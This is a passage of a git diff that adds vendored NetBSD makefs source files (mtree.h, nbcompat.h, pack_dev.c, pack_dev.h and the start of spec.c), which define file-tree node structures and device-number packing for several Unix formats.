* by Christos Zoulas.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
struct vnode;
|
||||
struct denode;
|
||||
|
||||
struct msdosfsmount *msdosfs_mount(struct vnode *, int);
|
||||
int msdosfs_root(struct msdosfsmount *, struct vnode *);
|
||||
|
||||
struct denode *msdosfs_mkfile(const char *, struct denode *, fsnode *);
|
||||
struct denode *msdosfs_mkdire(const char *, struct denode *, fsnode *);
|
||||
140
thirdparty/makefs/mtree.h
vendored
Normal file
140
thirdparty/makefs/mtree.h
vendored
Normal file
@@ -0,0 +1,140 @@
|
||||
/* $NetBSD: mtree.h,v 1.3 2008/11/06 02:14:52 jschauma Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)mtree.h 8.1 (Berkeley) 6/6/93
|
||||
*/
|
||||
|
||||
#ifndef _MTREE_H_
|
||||
#define _MTREE_H_
|
||||
|
||||
#define KEYDEFAULT (F_GID | F_MODE | F_NLINK | F_SIZE | F_SLINK | \
|
||||
F_TIME | F_TYPE | F_UID | F_FLAGS)
|
||||
|
||||
#define MISMATCHEXIT 2
|
||||
|
||||
/* Max. length of hash -- update this if needed when adding a new algorithm. */
|
||||
#define MAXHASHLEN 128 /* SHA512 */
|
||||
|
||||
typedef struct _node {
|
||||
struct _node *parent, *child; /* up, down */
|
||||
struct _node *prev, *next; /* left, right */
|
||||
off_t st_size; /* size */
|
||||
struct timespec st_mtimespec; /* last modification time */
|
||||
char *slink; /* symbolic link reference */
|
||||
uid_t st_uid; /* uid */
|
||||
gid_t st_gid; /* gid */
|
||||
#define MBITS (S_ISUID|S_ISGID|S_ISTXT|S_IRWXU|S_IRWXG|S_IRWXO)
|
||||
mode_t st_mode; /* mode */
|
||||
dev_t st_rdev; /* device type */
|
||||
u_long st_flags; /* flags */
|
||||
nlink_t st_nlink; /* link count */
|
||||
u_long cksum; /* check sum */
|
||||
char *md5digest; /* MD5 digest */
|
||||
char *rmd160digest; /* RMD-160 digest */
|
||||
char *sha1digest; /* SHA1 digest */
|
||||
char *sha256digest; /* SHA256 digest */
|
||||
char *sha384digest; /* SHA384 digest */
|
||||
char *sha512digest; /* SHA512 digest */
|
||||
char *tags; /* tags, comma delimited */
|
||||
size_t lineno; /* line # entry came from */
|
||||
|
||||
#define F_CKSUM 0x00000001 /* cksum(1) check sum */
|
||||
#define F_DEV 0x00000002 /* device type */
|
||||
#define F_DONE 0x00000004 /* directory done */
|
||||
#define F_FLAGS 0x00000008 /* file flags */
|
||||
#define F_GID 0x00000010 /* gid */
|
||||
#define F_GNAME 0x00000020 /* group name */
|
||||
#define F_IGN 0x00000040 /* ignore */
|
||||
#define F_MAGIC 0x00000080 /* name has magic chars */
|
||||
#define F_MD5 0x00000100 /* MD5 digest */
|
||||
#define F_MODE 0x00000200 /* mode */
|
||||
#define F_NLINK 0x00000400 /* number of links */
|
||||
#define F_OPT 0x00000800 /* existence optional */
|
||||
#define F_RMD160 0x00001000 /* RMD-160 digest */
|
||||
#define F_SHA1 0x00002000 /* SHA1 digest */
|
||||
#define F_SIZE 0x00004000 /* size */
|
||||
#define F_SLINK 0x00008000 /* symbolic link */
|
||||
#define F_TAGS 0x00010000 /* tags */
|
||||
#define F_TIME 0x00020000 /* modification time */
|
||||
#define F_TYPE 0x00040000 /* file type */
|
||||
#define F_UID 0x00080000 /* uid */
|
||||
#define F_UNAME 0x00100000 /* user name */
|
||||
#define F_VISIT 0x00200000 /* file visited */
|
||||
#define F_SHA256 0x00800000 /* SHA256 digest */
|
||||
#define F_SHA384 0x01000000 /* SHA384 digest */
|
||||
#define F_SHA512 0x02000000 /* SHA512 digest */
|
||||
|
||||
int flags; /* items set */
|
||||
|
||||
#define F_BLOCK 0x001 /* block special */
|
||||
#define F_CHAR 0x002 /* char special */
|
||||
#define F_DIR 0x004 /* directory */
|
||||
#define F_FIFO 0x008 /* fifo */
|
||||
#define F_FILE 0x010 /* regular file */
|
||||
#define F_LINK 0x020 /* symbolic link */
|
||||
#define F_SOCK 0x040 /* socket */
|
||||
#define F_DOOR 0x080 /* door */
|
||||
int type; /* file type */
|
||||
|
||||
char name[1]; /* file name (must be last) */
|
||||
} NODE;
|
||||
|
||||
|
||||
typedef struct {
|
||||
char **list;
|
||||
int count;
|
||||
} slist_t;
|
||||
|
||||
|
||||
/*
|
||||
* prototypes for functions published to other programs which want to use
|
||||
* the specfile parser but don't want to pull in all of "extern.h"
|
||||
*/
|
||||
const char *inotype(u_int);
|
||||
u_int nodetoino(u_int);
|
||||
int setup_getid(const char *);
|
||||
NODE *spec(FILE *);
|
||||
void free_nodes(NODE *);
|
||||
char *vispath(const char *);
|
||||
|
||||
|
||||
#define RP(p) \
|
||||
((p)->fts_path[0] == '.' && (p)->fts_path[1] == '/' ? \
|
||||
(p)->fts_path + 2 : (p)->fts_path)
|
||||
|
||||
#define UF_MASK ((UF_NODUMP | UF_IMMUTABLE | \
|
||||
UF_APPEND | UF_OPAQUE) \
|
||||
& UF_SETTABLE) /* user settable flags */
|
||||
#define SF_MASK ((SF_ARCHIVED | SF_IMMUTABLE | \
|
||||
SF_APPEND) & SF_SETTABLE) /* root settable flags */
|
||||
#define CH_MASK (UF_MASK | SF_MASK) /* all settable flags */
|
||||
#define SP_FLGS (SF_IMMUTABLE | SF_APPEND) /* special flags */
|
||||
|
||||
#endif /* _MTREE_H_ */
|
||||
134
thirdparty/makefs/nbcompat.h
vendored
Normal file
134
thirdparty/makefs/nbcompat.h
vendored
Normal file
@@ -0,0 +1,134 @@
|
||||
/* $NetBSD: nbcompat.h,v 1.43 2009/04/13 11:30:46 joerg Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2003 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <nbcompat/nbconfig.h>
|
||||
|
||||
#include <nbcompat/cdefs.h>
|
||||
#include <nbcompat/types.h>
|
||||
#include <nbcompat/limits.h>
|
||||
#include <nbcompat/endian.h>
|
||||
#include <nbcompat/param.h>
|
||||
|
||||
#if HAVE_ERRNO_H
|
||||
#include <errno.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_STDARG_H
|
||||
#include <stdarg.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_STDDEF_H
|
||||
#include <stddef.h>
|
||||
#endif
|
||||
|
||||
#include <nbcompat/assert.h>
|
||||
#include <nbcompat/ctype.h>
|
||||
#include <nbcompat/dirent.h>
|
||||
#include <nbcompat/err.h>
|
||||
#include <nbcompat/fnmatch.h>
|
||||
#include <nbcompat/grp.h>
|
||||
#include <nbcompat/paths.h>
|
||||
#include <nbcompat/pwd.h>
|
||||
#include <nbcompat/queue.h>
|
||||
#include <nbcompat/stat.h>
|
||||
#include <nbcompat/statvfs.h>
|
||||
#include <nbcompat/stdlib.h>
|
||||
#include <nbcompat/stdio.h>
|
||||
#include <nbcompat/string.h>
|
||||
#include <nbcompat/termcap.h>
|
||||
#include <nbcompat/time.h>
|
||||
#include <nbcompat/tzfile.h>
|
||||
#include <nbcompat/unistd.h>
|
||||
#include <nbcompat/util.h>
|
||||
|
||||
#if HAVE_NBCOMPAT_POLL
|
||||
# if HAVE_POLL_H
|
||||
# undef HAVE_POLL_H
|
||||
# endif
|
||||
# if HAVE_SYS_POLL_H
|
||||
# undef HAVE_SYS_POLL_H
|
||||
# endif
|
||||
# include <nbcompat/poll.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_FTS
|
||||
# if HAVE_FTS_H
|
||||
# undef HAVE_FTS_H
|
||||
# endif
|
||||
# include <nbcompat/fts.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_GLOB
|
||||
# if HAVE_GLOB_H
|
||||
# undef HAVE_GLOB_H
|
||||
# endif
|
||||
# include <nbcompat/glob.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_REGEX
|
||||
# if HAVE_REGEX_H
|
||||
# undef HAVE_REGEX_H
|
||||
# endif
|
||||
# include <nbcompat/regex.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_MD5INIT
|
||||
# if HAVE_MD5_H
|
||||
# undef HAVE_MD5_H
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_MD5
|
||||
# if HAVE_MD5_H
|
||||
# undef HAVE_MD5_H
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_RMD160
|
||||
# if HAVE_RMD160_H
|
||||
# undef HAVE_RMD160_H
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_SHA1
|
||||
# if HAVE_SHA1_H
|
||||
# undef HAVE_SHA1_H
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if HAVE_NBCOMPAT_VIS
|
||||
# if HAVE_VIS_H
|
||||
# undef HAVE_VIS_H
|
||||
# endif
|
||||
# include <nbcompat/vis.h>
|
||||
#endif
|
||||
|
||||
#if !HAVE_GETOPT_H || !HAVE_STRUCT_OPTION
|
||||
# undef HAVE_GETOPT_H
|
||||
# include <nbcompat/getopt.h>
|
||||
#endif
|
||||
317
thirdparty/makefs/pack_dev.c
vendored
Normal file
317
thirdparty/makefs/pack_dev.c
vendored
Normal file
@@ -0,0 +1,317 @@
|
||||
/* $NetBSD: pack_dev.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1998, 2001 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by Charles M. Hannum.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the NetBSD
|
||||
* Foundation, Inc. and its contributors.
|
||||
* 4. Neither the name of The NetBSD Foundation nor the names of its
|
||||
* contributors may be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <nbcompat.h>
|
||||
#if HAVE_SYS_CDEFS_H
|
||||
#include <sys/cdefs.h>
|
||||
#endif
|
||||
#if !defined(lint)
|
||||
__RCSID("$NetBSD: pack_dev.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $");
|
||||
#endif /* not lint */
|
||||
|
||||
#if HAVE_SYS_TYPES_H
|
||||
#include <sys/types.h>
|
||||
#endif
|
||||
#if HAVE_SYS_STAT_H
|
||||
#include <sys/stat.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_LIMITS_H
|
||||
#include <limits.h>
|
||||
#endif
|
||||
#if HAVE_STDIO_H
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#if HAVE_STDLIB_H
|
||||
#include <stdlib.h>
|
||||
#endif
|
||||
#if HAVE_STRING_H
|
||||
#include <string.h>
|
||||
#endif
|
||||
#if HAVE_UNISTD_H
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include "pack_dev.h"
|
||||
|
||||
static pack_t pack_netbsd;
|
||||
static pack_t pack_freebsd;
|
||||
static pack_t pack_8_8;
|
||||
static pack_t pack_12_20;
|
||||
static pack_t pack_14_18;
|
||||
static pack_t pack_8_24;
|
||||
static pack_t pack_bsdos;
|
||||
static int compare_format(const void *, const void *);
|
||||
|
||||
static const char iMajorError[] = "invalid major number";
|
||||
static const char iMinorError[] = "invalid minor number";
|
||||
static const char tooManyFields[] = "too many fields for format";
|
||||
|
||||
/* exported */
|
||||
portdev_t
|
||||
pack_native(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev(numbers[0], numbers[1]);
|
||||
if (major(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
else if (minor(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
static portdev_t
|
||||
pack_netbsd(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_netbsd(numbers[0], numbers[1]);
|
||||
if (major_netbsd(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
else if (minor_netbsd(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
#define major_freebsd(x) ((int32_t)(((x) & 0x0000ff00) >> 8))
|
||||
#define minor_freebsd(x) ((int32_t)(((x) & 0xffff00ff) >> 0))
|
||||
#define makedev_freebsd(x,y) ((portdev_t)((((x) << 8) & 0x0000ff00) | \
|
||||
(((y) << 0) & 0xffff00ff)))
|
||||
|
||||
static portdev_t
|
||||
pack_freebsd(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_freebsd(numbers[0], numbers[1]);
|
||||
if (major_freebsd(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (minor_freebsd(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
#define major_8_8(x) ((int32_t)(((x) & 0x0000ff00) >> 8))
|
||||
#define minor_8_8(x) ((int32_t)(((x) & 0x000000ff) >> 0))
|
||||
#define makedev_8_8(x,y) ((portdev_t)((((x) << 8) & 0x0000ff00) | \
|
||||
(((y) << 0) & 0x000000ff)))
|
||||
|
||||
static portdev_t
|
||||
pack_8_8(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_8_8(numbers[0], numbers[1]);
|
||||
if (major_8_8(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (minor_8_8(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
#define major_12_20(x) ((int32_t)(((x) & 0xfff00000) >> 20))
|
||||
#define minor_12_20(x) ((int32_t)(((x) & 0x000fffff) >> 0))
|
||||
#define makedev_12_20(x,y) ((portdev_t)((((x) << 20) & 0xfff00000) | \
|
||||
(((y) << 0) & 0x000fffff)))
|
||||
|
||||
static portdev_t
|
||||
pack_12_20(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_12_20(numbers[0], numbers[1]);
|
||||
if (major_12_20(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (minor_12_20(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
#define major_14_18(x) ((int32_t)(((x) & 0xfffc0000) >> 18))
|
||||
#define minor_14_18(x) ((int32_t)(((x) & 0x0003ffff) >> 0))
|
||||
#define makedev_14_18(x,y) ((portdev_t)((((x) << 18) & 0xfffc0000) | \
|
||||
(((y) << 0) & 0x0003ffff)))
|
||||
|
||||
static portdev_t
|
||||
pack_14_18(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_14_18(numbers[0], numbers[1]);
|
||||
if (major_14_18(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (minor_14_18(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
#define major_8_24(x) ((int32_t)(((x) & 0xff000000) >> 24))
|
||||
#define minor_8_24(x) ((int32_t)(((x) & 0x00ffffff) >> 0))
|
||||
#define makedev_8_24(x,y) ((portdev_t)((((x) << 24) & 0xff000000) | \
|
||||
(((y) << 0) & 0x00ffffff)))
|
||||
|
||||
static portdev_t
|
||||
pack_8_24(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_8_24(numbers[0], numbers[1]);
|
||||
if (major_8_24(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (minor_8_24(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
#define major_12_12_8(x) ((int32_t)(((x) & 0xfff00000) >> 20))
|
||||
#define unit_12_12_8(x) ((int32_t)(((x) & 0x000fff00) >> 8))
|
||||
#define subunit_12_12_8(x) ((int32_t)(((x) & 0x000000ff) >> 0))
|
||||
#define makedev_12_12_8(x,y,z) ((portdev_t)((((x) << 20) & 0xfff00000) | \
|
||||
(((y) << 8) & 0x000fff00) | \
|
||||
(((z) << 0) & 0x000000ff)))
|
||||
|
||||
static portdev_t
|
||||
pack_bsdos(int n, u_long numbers[], const char **error)
|
||||
{
|
||||
portdev_t dev = 0;
|
||||
|
||||
if (n == 2) {
|
||||
dev = makedev_12_20(numbers[0], numbers[1]);
|
||||
if (major_12_20(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (minor_12_20(dev) != numbers[1])
|
||||
*error = iMinorError;
|
||||
} else if (n == 3) {
|
||||
dev = makedev_12_12_8(numbers[0], numbers[1], numbers[2]);
|
||||
if (major_12_12_8(dev) != numbers[0])
|
||||
*error = iMajorError;
|
||||
if (unit_12_12_8(dev) != numbers[1])
|
||||
*error = "invalid unit number";
|
||||
if (subunit_12_12_8(dev) != numbers[2])
|
||||
*error = "invalid subunit number";
|
||||
} else
|
||||
*error = tooManyFields;
|
||||
return (dev);
|
||||
}
|
||||
|
||||
|
||||
/* list of formats and pack functions */
|
||||
/* this list must be sorted lexically */
|
||||
struct format {
|
||||
const char *name;
|
||||
pack_t *pack;
|
||||
} formats[] = {
|
||||
{"386bsd", pack_8_8},
|
||||
{"4bsd", pack_8_8},
|
||||
{"bsdos", pack_bsdos},
|
||||
{"freebsd", pack_freebsd},
|
||||
{"hpux", pack_8_24},
|
||||
{"isc", pack_8_8},
|
||||
{"linux", pack_8_8},
|
||||
{"native", pack_native},
|
||||
{"netbsd", pack_netbsd},
|
||||
{"osf1", pack_12_20},
|
||||
{"sco", pack_8_8},
|
||||
{"solaris", pack_14_18},
|
||||
{"sunos", pack_8_8},
|
||||
{"svr3", pack_8_8},
|
||||
{"svr4", pack_14_18},
|
||||
{"ultrix", pack_8_8},
|
||||
};
|
||||
|
||||
static int
|
||||
compare_format(const void *key, const void *element)
|
||||
{
|
||||
const char *name;
|
||||
const struct format *format;
|
||||
|
||||
name = key;
|
||||
format = element;
|
||||
|
||||
return (strcmp(name, format->name));
|
||||
}
|
||||
|
||||
|
||||
pack_t *
|
||||
pack_find(const char *name)
|
||||
{
|
||||
struct format *format;
|
||||
|
||||
format = bsearch(name, formats,
|
||||
sizeof(formats)/sizeof(formats[0]),
|
||||
sizeof(formats[0]), compare_format);
|
||||
if (format == 0)
|
||||
return (NULL);
|
||||
return (format->pack);
|
||||
}
|
||||
59
thirdparty/makefs/pack_dev.h
vendored
Normal file
59
thirdparty/makefs/pack_dev.h
vendored
Normal file
@@ -0,0 +1,59 @@
|
||||
/* $NetBSD: pack_dev.h,v 1.4 2008/11/06 02:14:52 jschauma Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1998, 2001 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by Charles M. Hannum.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the NetBSD
|
||||
* Foundation, Inc. and its contributors.
|
||||
* 4. Neither the name of The NetBSD Foundation nor the names of its
|
||||
* contributors may be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _PACK_DEV_H
|
||||
#define _PACK_DEV_H
|
||||
|
||||
#ifdef __CYGWIN__
|
||||
typedef __dev32_t portdev_t;
|
||||
#else
|
||||
typedef dev_t portdev_t;
|
||||
#endif
|
||||
typedef portdev_t pack_t(int, u_long [], const char **);
|
||||
|
||||
pack_t *pack_find(const char *);
|
||||
pack_t pack_native;
|
||||
|
||||
#define major_netbsd(x) ((int32_t)((((x) & 0x000fff00) >> 8)))
|
||||
#define minor_netbsd(x) ((int32_t)((((x) & 0xfff00000) >> 12) | \
|
||||
(((x) & 0x000000ff) >> 0)))
|
||||
#define makedev_netbsd(x,y) ((dev_t)((((x) << 8) & 0x000fff00) | \
|
||||
(((y) << 12) & 0xfff00000) | \
|
||||
(((y) << 0) & 0x000000ff)))
|
||||
|
||||
#endif /* _PACK_DEV_H */
|
||||
701
thirdparty/makefs/spec.c
vendored
Normal file
701
thirdparty/makefs/spec.c
vendored
Normal file
@@ -0,0 +1,701 @@
|
||||
/* $NetBSD: spec.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
